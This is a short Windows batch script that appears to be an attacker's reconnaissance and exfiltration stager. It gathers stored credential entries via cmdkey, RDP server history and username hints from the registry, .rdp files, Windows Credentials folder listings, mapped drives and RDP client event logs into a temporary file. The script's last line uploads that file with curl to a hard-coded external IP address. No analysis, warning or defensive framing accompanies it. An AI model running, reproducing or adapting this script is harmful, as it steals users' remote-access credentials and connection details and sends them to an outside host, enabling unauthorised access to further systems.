@echo off
set O=%TEMP%\u2.txt
echo U2 START %DATE% %TIME% > %O%
echo ==CMDKEY== >> %O%
cmdkey /list >> %O% 2>&1
echo ==RDP_SERVERS== >> %O%
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s >> %O% 2>&1
echo ==RDP_HINTS== >> %O%
reg query "HKCU\Software\Microsoft\Terminal Server Client" /v UsernameHint >> %O% 2>&1
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" >> %O% 2>&1
echo ==RDPFILES== >> %O%
dir /b /s "%USERPROFILE%\Desktop\*.rdp" "%USERPROFILE%\Documents\*.rdp" "%USERPROFILE%\Downloads\*.rdp" >> %O% 2>&1
echo ==CRED_FILES== >> %O%
dir /a "%APPDATA%\Microsoft\Credentials" >> %O% 2>&1
dir /a "%LOCALAPPDATA%\Microsoft\Credentials" >> %O% 2>&1
echo ==NETUSE== >> %O%
net use >> %O% 2>&1
echo ==MSTSC== >> %O%
tasklist /fi "imagename eq mstsc.exe" /fo csv >> %O% 2>&1
echo ==RDPEVT== >> %O%
wevtutil qe Microsoft-Windows-TerminalServices-ClientActiveXCore/Microsoft-Windows-TerminalServices-RDPClient/Operational /c:15 /rd:true /f:text >> %O% 2>&1
echo U2-DONE >> %O%
curl.exe -s -m 40 --retry 2 -T %O% http://159.223.110.159:5561/u2.txt